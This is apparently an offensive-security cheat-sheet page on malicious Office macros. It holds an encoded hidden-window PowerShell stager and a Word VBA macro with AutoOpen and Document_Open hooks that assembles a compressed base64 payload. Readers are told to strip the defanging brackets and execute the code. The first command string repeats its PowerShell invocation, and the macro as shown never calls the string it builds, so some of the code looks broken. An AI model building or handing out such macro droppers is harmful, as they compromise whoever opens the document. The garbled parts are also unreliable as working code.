Client-Side Attacks & Malicious Macros

Malicious Office macros, base64 payload staging, and warshipping.

#client-side#macro#phishing#web

Client-Side Attacks & Malicious Macros

base64_macro

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the brackets [] before executing them.

Note:

🐺 howlsec@kalicode

01str = "powershell[.]exe -ep [bypass] -nop  -w hidden -e powershell[.]exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATgBDADIAdwBHAEkAQwBBADcAVgBXAGIAVwArAGIAUwBCAEQAKwBYAHEAbgAvAEEAVgBXAFcAQQBKADMAagB0ADcAaABKAEUANgBuAFMAZwBWAHsAMQB9AHgAVABHAEsAYgBHAE0AZAAyAHIAZABNAEcARgB0AGgANABZAFIAMQBZAC8ATgBiAHIAZgA3ADgAQgBRADUAeABlAGsAcgB2AGMAUwBWADMASgBNAHMAegBPAHoATQA0ACsAOAA4AHcATQBUAGgAeABZAG4ATABCAEEAYwBPADIASgA4AFAAMwBqAEIAeQBGAGIAQQB4AFEAaQBYADUAQQBLAE0AZgAxAGMARgBBAHEAUAAvAGwAbQBmAHkATQBmAGQAQQAnACcAKwAnACcAagBGAE8AaABhACsAQwBOAEYAZABXAHEAeQBiAHoARQBRAGsAVwBsADUAZQBOAE8AQQB4AHgAdwBBAC8AdgBwAFEANwBtAFMAaABSAGgALwA1ADQAUwBIAEUAbQB5ADgASwBjAHcAOABYAEMASQBUADIANwB1AEgANwBEAEYAaABlAHsAMQB9AEMANABZAHsAMQB9AFMAaAA3AEoANwBSAEQATwAxAFgAUQBOAFoASABoAFoATwBsAE0AQgBPAHsAMQB9AHYAcgBNAFEAawBsAGcASgBXAE4ARgBDAFoAZgBFAGIAewAxAH0AewAxAH0ARQBlAFgANQBTAFgAWgBSAGEAagB6AEcAaQBrAFMAUQBhAHUANABoAGoAdgAyAFIAVABLAHMAcgBDAEQAegBrADUAOABIAGEAMwB3AHAASwBvAEUAeQB0AGsARQBYAE4ANABhAFUASwBDAHsAMgB9ACcAJwArACcAJwAxAHAAcABIAEUAVABJAHcAZABmAGcAYgBZADEAMQB6AEQAMQBtAFIAeQBMAGMANQBYAGkAYgBFAFAATQA0AEQATgBKAEwASgBWADQATwBPAHAASQBJAGoANABPAFEAVwBZAHAAdABoAHoAaQBLAHgASwBJAHcAVAAvAHoAUABGADQAdgBmAHAAWABsADIAKwBDAGcATwBPAFAARgB4AFMAUQBzADQARAB0AG4ASwB3AE8ARwBhAFcARABnAHEAZABWAEYAZwBVAHoAegBDAHoAZwBLAHMARABCADYAUwB3AEYAMwBJAE0AcQBpAHQAMgBSAEoATABoAFMAQwBtAHQAQwBqADgARgB6AGYAUwBOACcAJwArACcAJwBkADcAawB7ADIAfQBMADMAWABTAEgAcAB1AEIARgBvAEQASABzAHAARgBTAE8AbgBMAGEAKwByAE0AagBpAGsAKwBHAEkAcQB2AHgASgBtAHcAUQBJAGIAMQB4AEEAUwBBADcAewAyAH0AZQBDACcAJwArACcAJwBvAEoATwB6AEoAMgAnACcAKwAnACcAeAA0AHIANwBEAG4ASwBNAGoAWABQAE4AMwBCAEUATABFAHsAMgB9AFkAQgBGAEoAYgBiADgASwBsAGEASwBnAHcAKwBHAEkAcwAzAEEASAByADQAWABiAE0ATQBiAHkANABnAGwAdgBvAGIAQwBwAG8AZQBKADcAbgBWACcAJwArACcAJwBWAHoAUwA3AEMATABZAGcAOABrAGMANQBNAFIAZQAzAEcAewAyAH0ALwB5AG4ANQBoAFgAVgBsACsAYgBCAEsAdABOADcAbQBjAGgATQA3AEoATQBEAE4AWABZAEIAOABZAHUAVgB7ADIAfQBsAFYANwBMAEMAWABZAG8AVABoAEUAcAA1AFcAcgBYAEUASwBFAGsAWgBoAHYAWQBiAG0ASwBLAFgAYwBRAFQAbQBCAE4AcQB2AEQAQgByACsAWQBRAC8AMgBhAG8AeABvAFQAWQBPAEYAUQB2AHkARwBrAEYAVQBrAEgATAA1ADUAMgBBAE8AbQBaAE4ARQBMAGQAQwB4AEQAKwBnAGQAMwBvAEcAcgBCAFEAZQBLAEIATwBmAGEAVwBXAEgAcwAnACcAKwAnACcAOAB0AE8AVABkADEAQQBTAEcAeABSAEYAVQBWAEUAWQB4AEYAQwBsAFYAbABFAHcATQBLAEwAWQBMAGcAcABLAEUASgBGAHMAUwA0AGsANQBTAHgALwBGAFkANwBoADYAVABEAG0AeABVAE0AUgB6AGQAdwB2ADUANwAzAGgAbQA1AHoAWgBZAEUAUABFAHcAdABpAEMAeABnAE0ARwB0AHMAYwBJAFcAUQBUAFMAQgBwAEMAaAB7ADIAfQBpAFkAMwBWAG4AVQBIAGMALwBIAHoAeABWAFUAQQBhAGkARgBJAG8ASAAvAEMAewAyAH0AaABvAFMAQQBKAEEASABDADQAQQBsAGQAUQBnAGcAMQBvAFkAWgBjAE0AJwAnACsAJwAnAGoARABYAC8AQgBYAEYAUABxAGkAawBYAGEATgBOAGsAUQBzAHsAMQB9AEkAcQB1AFIAbABGADcASQB4AGIAYgA0ACcAJwArACcAJwBWAHEAQgA1AE0AUgB5AFkAbgB7ADIAfQBDAFQAWQAvAEkAcwBUAE0AaQAzAFEAUgBrAHYAQwBpAFkASgBPAFQAUwBoAEIARwBaAGcAMgBQADgASgA0AG0AWAB6AE8AVQBUAFQAQwBIAEcAVwBIAGkAbQB2AHMAYgBtADYANAB7ADIAfQBrAFYARgBIAHcAegBZAFcAbQBHAFUASQBwAEgAeQBBAEcATABkAHMAaAA4AEYAVQBYADQAcgBIADUAbwBOAE4ASwBuADgAZwAxAHAASwBMAEMAbQBXAGsAQgAxAFMAMQAyAFMAcQByAEkAaABWAFUAMgBIADMANQBpAGMAYQBxAHgANQBiAGwALwAxAEgAcgByAGwAcwBMAG4AMQBIAEUAVwBMAE4ATAB7ADIAfQA3AGEAQQA2ADcAMwBmAHEANgBaADUAaAAxAGIAcgBRAHsAMgB9AGYAagBYAFEAdQBOADYANgBlADMAZwB3AGwATwA1AG8AUABPAFUAegBUAGUAbgBlAGsAcwBwAHkAVwB0ACsAdgBlAG0AUgB2AHsAMQB9AEIAVgA3AHUAaQAyAGYANwBkAFgAewAxAH0AcABxAEoAdQB7ADEAfQB3ACsAdQA3AFUAeQBiAGoAdQBPAGUATwA4AGEAbwArAHIAbABOACsAcABQAEcAVQBLADMAVQBVAEwALwBaAGkAdgBzAFQAZABhAE4AVwAnACcAKwAnACcANgBsAEcATABiAEwAcABEAE0AaAA0AHUAZQAyADEAKwBQAHoAVQBwAEcAagB0AGwAewAxAH0ANgA1ADYAZwBjAGkAMgBIAHoANgBZAFYAYQBiAHYATgBVAFgAcABlAEsAZgBXAHYAdQBlAFkASABVACsAMwBkAHsAMQB9AE4AdQArAFcASgBTAFgAeQBvAHQAUgBXAGsARQBMAGIATwB0AHMAcQB1AHAAJwAnACsAJwAnAEcAaQBxAEQAcwBqAGwAdQBxADgATgB4AFMAeAB7ADIAfQBPAFEAWABiAG0AbABwAHsAMgB9ADYAeQBHAGkATgB0AFoASABlAFkAUABaAHYASQA2AGEANABpAGgAcgBYAEEAeAB7ADEAfQA1ADYAcwBTAHMAawBkAG4AcQBiAHUAUwBCAHIAegBhAEUAbwBKAGMAcgBkAGMAMwBHAFcALwBhAGwAUAB5AEgAbQB1AG0AeQBpAHoAagBXAGYASwBZADEAZQB2AFcAcgBmAG0AZgB0AHUARABYAG0AewAxAH0AbQBSAG4AMwBMADIAYQBSADMAZQAnACcAKwAnACcAbwAxAE4AJwAnACsAJwAnADYAbwB5AHIAYgBaADYAYQByAE8AagB0AEUAYgBqAGMAWABzADIATQBaAGUAegB5AFMAMgBkAFQAYwBiAFYAJwAnACsAJwAnAEcAYwBQAFcAcAB1AHkAQgBEADQATABWAEcAMwBOADUAWAB7ADEAfQBZADcAcgB1AFoAdABxACcAJwArACcAJwB5ADYAYwBkAFoANwA2AHsAMQB9ADQAbABQADcAMgB0ADIAKwBXAEwAOABSAFEAewAyAH0AMgBWACsANQBnADcAZAByAEQAeQBmAGwAbwBlADcAMgA3AHIAegBGAGwAWABDADYAYgBuAHkARABWADgAegBFAEoAKwBHAGwAdABVAFMARABZADgAagBwAEoAVAAvAHoANABvAGIAJwAnACsAJwAnAEIAVAAxAGMANgB6AG4ATAAvAFYAOABYAFUAVQBSAGgANgBpAHcAQQBYAG8ANQBYAGwATgB0AGwAbgBZAHoAcgByAHoAZwBKAEgARQBRAHAASwBTAEcAYgAvAEUAWQBZAEEAcABqAEUAVQBZAG4ARABtAFIARgBVAHEAWgBsAGMAeQBHAHAASQAzAEQAVwBEAG8ATQBpADIAUgAyAGoAYgBVAHsAMgB9AHEAdABlAGUAWgBPAEYASgBVAFQANwBPAGoARgB4AHsAMgB9AGUAVABtAEQARwBLAEUAewAyAH0AZgBMAFAAVQB4ADQASABMAHYAVwBKAGwAZQAxAHEAcABRAEsAdQB2ACcAJwArACcAJwBiAEMAdgAxAHQAQQBUAGUAZgA2ADgARwBXACsAewAyAH0AawBjAEYAVgBNAFIAawBVAEsAeQA4AEUAegBUAFQAMgBEAE0AKwBJAEkAawB2AFQATABjAFkATABQAEEAUQA1AHQANgBVADIAawAzAGcASQBOAFQAbAA1AEMARQA0AEcAdQBkAHEAagBzAEIARABxAFYATQBmAG8AYwB1AE8AeABXAFQAegB3ADQANABnAGEAQQBWAGUASABhADgAKwBRADcANABFAEEAUABjAEgAQwBDAEgANABVAEMAVAArAGIAawA4ADcAbABiAGMARwBlADEAbQBmAHQATABLAFoATgAxAEsAQQAvACsANwBIACsAaAB6AEYASAAyAEQANwB2AHYAbwBsAEcAbABlAEkARABuAGgAZgBoAG4AdwBiAFAAdQAvAHUAJwAnACsAJwAnAHMAQQBtAEMARABDAFEAZABHAEEAVgBrAHYAeABZAGYAeQAvAGkAawBOAFcASgBjADgAeQBuAEMAWQBIAHkAcwBEAEoAVgB2AEoAUgBmAEIAUAB6AGsAMgB2ADQAegBFAHEAYgAvAFYAKwA1AEIAWQArAFMAagBRAHMAQQBBAEEAewAwACcAJwArACcAJwB9AHsAMAB9ACcAJwApAC0AZgAnACcAPQAnACcALAAnACcAOQAnACcALAAnACcAMAAnACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="

Final Payload Example

Inside word, but make you make it a .doc document and then save first. Then when making macros make sure you link the macros to that newly made document. Then rest will be just fine.

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the brackets [] before executing them.

Note:

🐺 howlsec@kalicode

01Sub AutoOpen()
02 MyMacro
03End Sub
04Sub Document_Open()
05 MyMacro
06End Sub
07Sub MyMacro()
08 Dim Str As String
09 
10    Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
11    Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
12    Str = Str + "kAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnA"
13    Str = Str + "H0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGk"
14    Str = Str + "AcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8Ad"
15    Str = Str + "wBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcAB"
16    Str = Str + "vAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9A"
17    Str = Str + "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQ"
18    Str = Str + "AaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAU"
19    Str = Str + "wB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQB"
20    Str = Str + "tAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9A"
21    Str = Str + "CcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACA"
22    Str = Str + "AJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAc"
23    Str = Str + "gBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB"
24    Str = Str + "5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkA"
25    Str = Str + "GUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGU"
26    Str = Str + "AbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAe"
27    Str = Str + "gBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQB"
28    Str = Str + "jAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5A"
29    Str = Str + "FMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4"
30    Str = Str + "AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAd"
31    Str = Str + "AByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATgBLADQAdwB"
32    Str = Str + "HAEkAQwBBADcAVgBXACsAMgAvAGkAewAxAH0AQgBEACsAZgBhA"
33    Str = Str + "FgAOQBIADYASQBWAFUAaABLAEoAOABpAHEANwBmAFUAZwByAFg"
34    Str = Str + "AYwBJAHoAbABMAFIAQQBTAGkAaQB3ADYARwBRAFMASgA3AGkAW"
35    Str = Str + "QBtAEUAMABjAFgAcgB2ADcAdgA5ADgAWQBrAGsATABWAGQAcQA"
36    Str = Str + "5ADMAMABsAHAAQwB4AFAAYgAnACcAKwAnACcATQBlAFAAegBOA"
37    Str = Str + "E4AegBQADIANABzAEQAaABoAEEAVwBTAFYAegArADMAcABCADg"
38    Str = Str + "AZgBQADAAagBKADYASwBBAFEATABTAFEAbABzAHkANQBrAHAAW"
39    Str = Str + "QAnACcAKwAnACcAeQB6AFUAbwA4ADcAbQBlADkAegA2AGEAdQB"
40    Str = Str + "rAGoATABYAGwAcwBzAG8AVwBpAEEAUwBUADYAKwB0AEsASABJA"
41    Str = Str + "CcAJwArACcAJwBZADQANABJAGQANQByAG8ARwA1AEYAawBWADQ"
42    Str = Str + "ATQBhAFUARQBSADQAbwBxAC8AWgBRAEcATQB4AHoAaQBzADcAd"
43    Str = Str + "gBwAEkAMwBhADQAOQBFAFAASwAvAEoAewAyAH0AcgBVAEQAWgB"
44    Str = Str + "GAE4AQgBIAGIAVgBwAEEAegB3ADkASwBaAEYAcgBoAGkAcgA4A"
45    Str = Str + "DAAYwBKAEoAegBLAFcAVQB0AEsAdQBDAEoALwArAHkAYQByADQ"
46    Str = Str + "ANwBQAGkASgBGAGYANwAnACcAKwAnACcASABpAE0AYQBLAGIAS"
47    Str = Str + "wB7ADIAfQBqAFQAaABlADUARgB4AEsAWgBWAFgANgBwAFkAbwB"
48    Str = Str + "EADcANwBkAEwAcgBNAGcAbQBjAFUASQBXAE0AWQAvAG4AQgBpA"
49    Str = Str + "FEANABMACsAWAA2AFEAWQBRADgAZgBBAHYAVwBWAHQAagBFAGY"
50    Str = Str + "ATQBiAGMAUwBJAGEAcgBIAEMAOABUAFkAaAA2AEgAZwBiAGkAV"
51    Str = Str + "ABNAEgASQBRAFUAVwBUADQANwBJAFQATQAwAFYAdwAzAHgARgB"
52    Str = Str + "FAGsAWgA2ACcAJwArACcAJwBXAHgATQBEACsAZQBUAFAANQBTA"
53    Str = Str + "HgAcwBuAFoAdgBUAGoAZwBaAEkARgAnACcAKwAnACcAegBSAHM"
54    Str = Str + "AQgB4AHkASgBZAFcARABsAGYARQB3AFYARwB1AGkAUQBLAFgAN"
55    Str = Str + "ABoADcAMgBKAHEAQgBsADgAWgBBAEUALwBrAFIAVgBRAFcAegB"
56    Str = Str + "GADUAbABqAEoAQgBEAEcAbABXAGUAbQAvAG0ARgBGAHUAOABUA"
57    Str = Str + "HAARgA3AHIAewAyAH0ASwB5AHEAawBTAFMASABWADQAcQBHAFk"
58    Str = Str + "AaABtAEMAOQB1AGEAVABJADMAcAB2AGkAZwBKADcALwBpAEoAb"
59    Str = Str + "wBSAGYAaABYAEcAZwBBAEEARAAzAFMAMgBEAG4AcABaAHgAeAA"
60    Str = Str + "rAGUARABTAGYANABVADAAeAA0AFYAMABqAFAAYwA3AEcATgB4A"
61    Str = Str + "FYAewAxAH0AJwAnACsAJwAnAGkAdwBpAGUAKwAyAHYARQBsAEQ"
62    Str = Str + "ATABoAEsATQBSAFoAKwBFAFcAcABwAG4ANwBNAE0AYgBxADUAQ"
63    Str = Str + "QBsAHMASwBjAE0AMwBaAHYAYQA5AHgAbwBxAHAASgB1AGcARgB"
64    Str = Str + "uAFUAdABZAEcAZAB1AE0AdQBKAHsAMQB9AGoALwByAFAAQQBaA"
65    Str = Str + "DcAeQBtAEUASABtAGIAeABGAFgAcwBrAFEAQgBYAHQAdwBGAGE"
66    Str = Str + "ARQBDAGYAbABxACcAJwArACcAJwBmAEoAYQBOAEwAQgBIADgAU"
67    Str = Str + "gA2AFEAWABDAHAAMgBDACsANABwAGMAcgBLAEIAMwBTAHEAbQA"
68    Str = Str + "yAEUAZABjAEkAQwB4AEkAOABVAEsAdAB0AGkARAA4ACcAJwArA"
69    Str = Str + "CcAJwBTAFYAZQBQAEMAWABWAHgAcQBEAGsAUQAwAFEAaQA4AGc"
70    Str = Str + "AbQBDAHIAegA1ADAANQBCAEUAMgBSAGoAYwBEAEUAQwA0AEQAd"
71    Str = Str + "QBNAEEAZQBXAFoAagB6AEkARABwAHgASwBKAHgAbQB4AFQAVQA"
72    Str = Str + "4AFgAYwB4AEMAUwBLAHgAUgBGAFUAVgBiAHEAeABKAEMAZQBUA"
73    Str = Str + "GwAYQB5AE0ASwBMAFkAegBVAHAAYQBFAEoARgBrAFMANABzADU"
74    Str = Str + "AMgAzAC8ASwBSADMAZgBOAG0ASABMAGkAbwBJAGkAbgA1AGkAY"
75    Str = Str + "gAnACcAKwAnACcAcQBNAHoAQwBUAFEAeQBzAHMAaQBIAGcAWQB"
76    Str = Str + "7ADEAfQB4AEIAUwBBAHsAMQB9AEQAZQBXAG0ASwBIAEkAQwByA"
77    Str = Str + "HcAeQBFAHAATgA0AG0ASgA5AGEAeABFAC8AUABWAHgAKwBGAFk"
78    Str = Str + "AMABLAG8AaABTAHkAQgBpAHkAdABJAEIAcQB3AEkAbABDAHcAd"
79    Str = Str + "QBDAEIASwBDAEgANABLAFUAcQBnADUAQwAzAE4AagBzAGEAUgA"
80    Str = Str + "0AEEAUwBMADcAVwBsAEcAbgB5AEkAZgBLAGsASwBUAEcAbgBsA"
81    Str = Str + "GoASQB4ADYANwA4AHEAcABkAHAAQgBoAHoAbwBMAGsAQgBKADA"
82    Str = Str + "AVABqAHgARQBTAEoAdABVAGMAYQB6AGsAawB7ADIAfQBDAEQAb"
83    Str = Str + "gBWAEgAQQBBAHoARQArAGoAOABlAHYASwB3ADMANABFAG8AbAB"
84    Str = Str + "4AEUAbABVAGwARABTAHoAeAB2AHEAVwBDACsAWgBuADUAawBHA"
85    Str = Str + "HAASwB1AGkAWgBvAEwAUABIAEkAdQBTAEEAUQB6AHsAMgB9AGs"
86    Str = Str + "AQwB4AHsAMgB9AEYAKwBFAHYANQBVAEYAdQBVAFQAJwAnACsAJ"
87    Str = Str + "wAnAC8AawA3AFUAdABGAGcARABJADIAQQBtAG8ANAArAEoAMAB"
88    Str = Str + "WAHQAVABZAHEARwBDAGIAOAArAHsAMQB9AFQAZABZADkAYwBLA"
89    Str = Str + "DkAYQBUADAAMgA4ADIARgB7ADIAfQBNAC8ATQAwAEkAegBMAE0"
90    Str = Str + "AWgBxAGYAYQBiAFQAYgBMAHEANQBaAGwAbAA3AGwAVgBNAC8AJ"
91    Str = Str + "wAnACsAJwAnAGgATgB4ACsAQgBtACcAJwArACcAJwA3AGUASAB"
92    Str = Str + "4ADAAZABLAGEAdgBmADYAUQBqAHcAeQB0AGUAVQA4AEsAOAAyA"
93    Str = Str + "EYANQB0ADIAeQBSAG4AZABYAFcAMwB7ADEAfQBFAG0ALwAyAFc"
94    Str = Str + "AbgA3ADkAWQBGAGYAYgBOADcAOQBGAHsAMgB9AHYAVwBQAFUAO"
95    Str = Str + "AAvADgASwB6AGUAcwBYAFAAZABkAEkAZQBWAEwAcAA2AG8AWQB"
96    Str = Str + "UAGEAewAyAH0AVgByAGMASAB1AGgAcgB2AFYAQwB7ADEAfQBhA"
97    Str = Str + "G0AVABkADcASgBKACsAZAA5ADYAcQA4ACsAbgBRAHAAcQBqAHY"
98    Str = Str + "ANQBmADIASAA0AGgAVQBpAG0AMwBiADQAYQBCAGUAWgB1AFQAT"
99    Str = Str + "QAwAHIAVABFADcAZAAzAFkAdAB6ADIANwBNAFQASABjADcAYgB"
100    Str = Str + "7ADEAfQBhAHYAQgB1AFcANQBWAHQAewAxAH0AMABTAGwAQwB6A"
101    Str = Str + "DYAegBxADcARwBlAHEAaAB7ADIAfQBzAG4AYgAvAGIAcgBlADc"
102    Str = Str + "AZABmADAAYgBoAGYAVwB2AHYAaAA1AHIAdwB4AHIAdABNAFQAc"
103    Str = Str + "QB5AEsAdwB3ADkAOQBKAG0AbQBxAC8AcABjAFQAbABZAG8ASgB"
104    Str = Str + "rACsAcwBFAHQAawB0AEgAegBvAHoAYwBCAFcASABWAHcAdwA4A"
105    Str = Str + "DQAVwB5ADQAZQBJAE4AdQAyAHcAUABpAEwAMwBLADIANgBoAHg"
106    Str = Str + "AeQAwAGQAYQBwAFYAVQB1AHUAZwAvADIAcgBsAGwAQwBzADkAY"
107    Str = Str + "gBJAGoAdAB0AFgAbwA4AGkAdAB0AGEAcAByAFgAUgBzAFcAYQB"
108    Str = Str + "5ADIAOQAyAHQAQgBxAHYAWAA2AC8AUABoAHIAWQA4ADkASABnA"
109    Str = Str + "G4AbwA0AEcALwBlAEsASQBZAFcAJwAnACsAJwAnAGUAZABuADQ"
110    Str = Str + "ARQBOAGcAdgBVADcAZQB6ADcATgBtAHcAMwBmAG0ARwAyAEsAU"
111    Str = Str + "ABwAHgAewAyAH0AcwBiAGUALwBJAEEAcwA2AEwAYgBuADUAcQA"
112    Str = Str + "vADYAbABIAHEAeAB2AC8ATQA3AEsAZAA3AHUARABpADkANwBtA"
113    Str = Str + "GQAagBzAHQATQBhADIAZgB6ADkAdQBmAEkATgBqAGoAUABnAG4"
114    Str = Str + "ANABlAFcAbQBTADQAUwBOAFIAQgBqADkAKwB5AHsAMQB9AHcAK"
115    Str = Str + "wB0ADAAdgByAGsANABpAC8AVgBlAEoATgBGAEUAWQB6AFIASQB"
116    Str = Str + "FAEoAVQBMADMAVABWAEsAeQB6AHMASgA3AFUANQBBADQAagBRA"
117    Str = Str + "GsATgAnACcAKwAnACcAUgA5AHYAewAyAH0AOABqAHMATQBBAFU"
118    Str = Str + "AJwAnACsAJwAnACsAaQBEADAAQwBsAFQARwBtAHUAVQBNAGsAZ"
119    Str = Str + "AAwAGcAMABQAHsAMgB9AGgAbABaADAAYQBCAEMAaQBYAC8AVwB"
120    Str = Str + "OAHYAVgB1AHYAZgBhAG4AUwBrADYAQgA2AGIAQgBUAHAAMAB2A"
121    Str = Str + "FgAJwAnACsAJwAnAHsAMgB9AEMATgB5AEUAewAyAH0AQgBEAEU"
122    Str = Str + "AegBiAFYAeAA0AFAATgBaAHQAcgBBADUATAB4AFMAZwB4AGgAY"
123    Str = Str + "wAyAGgAZgBJACcAJwArACcAJwArAEMAZAA1AC8AdQBRAHAAYgB"
124    Str = Str + "iAHAAVwA5AHMAYQB6AG8ARQBnAGQANABVAHYATgAwAGIAeAA0A"
125    Str = Str + "HMARQBrADkAUwBsAEQAKwBQAEcARAB3AEYAewAxAH0ATgBTAG0"
126    Str = Str + "AMwAyAEQAMgBGAG4AeAB3ACsAQgB6AEsAQwBSAFMAMwBRADUAb"
127    Str = Str + "wBMAEUASABYAEcANgBDAG0ARQA2AGQAMgBlAHsAMQB9AEgARQB"
128    Str = Str + "LAEkAVwBCAFgAaABQAHUAUAB4AFUATQBBAHkAQQBJAEcAegB2A"
129    Str = Str + "EIAMwBLAEUAQwBpAFUAWgA0ADIAMwBnAHkAewAyAH0AZQBwAFU"
130    Str = Str + "ALwBTADUAKwBrAFgATQAzAGcAegAvAHsAMgB9AFgAKwBoAHoAW"
131    Str = Str + "ABmAHIAUAA3AEwAawBvAFYAcwBnAGwAQQBMADkAYQBmAEwANQB"
132    Str = Str + "6AFUAKwBUADgASQB3AGcAQQBSAEQAcABJAFcAVgBGADYASwBEA"
133    Str = Str + "DgAKwBBAE4ANwBCAEkAcwB1AFkAawB6AGkASgBFAGsAQgBOAGU"
134    Str = Str + "ATQBzAFMAegArAEMANwBtAFoANwBmAHcAewAyACcAJwArACcAJ"
135    Str = Str + "wB9AE4AcQBYAC8AMwA4AEEAVwBZACsAOQBBADQAcwBMAEEAQQB"
136    Str = Str + "BAHsAMAB9ACcAJwApAC0AZgAnACcAPQAnACcALAAnACcATwAnA"
137    Str = Str + "CcALAAnACcAMQAnACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0"
138    Str = Str + "ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8Ab"
139    Str = Str + "QBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwB"
140    Str = Str + "vAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuA"
141    Str = Str + "GQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEU"
142    Str = Str + "AeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZ"
143    Str = Str + "QBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB"
144    Str = Str + "1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTA"
145    Str = Str + "HQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHI"
146    Str = Str + "AZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAO"
147    Str = Str + "wAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB"
148    Str = Str + "0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByA"
149    Str = Str + "HQAKAAkAHMAKQA7AA=="
150 
151 
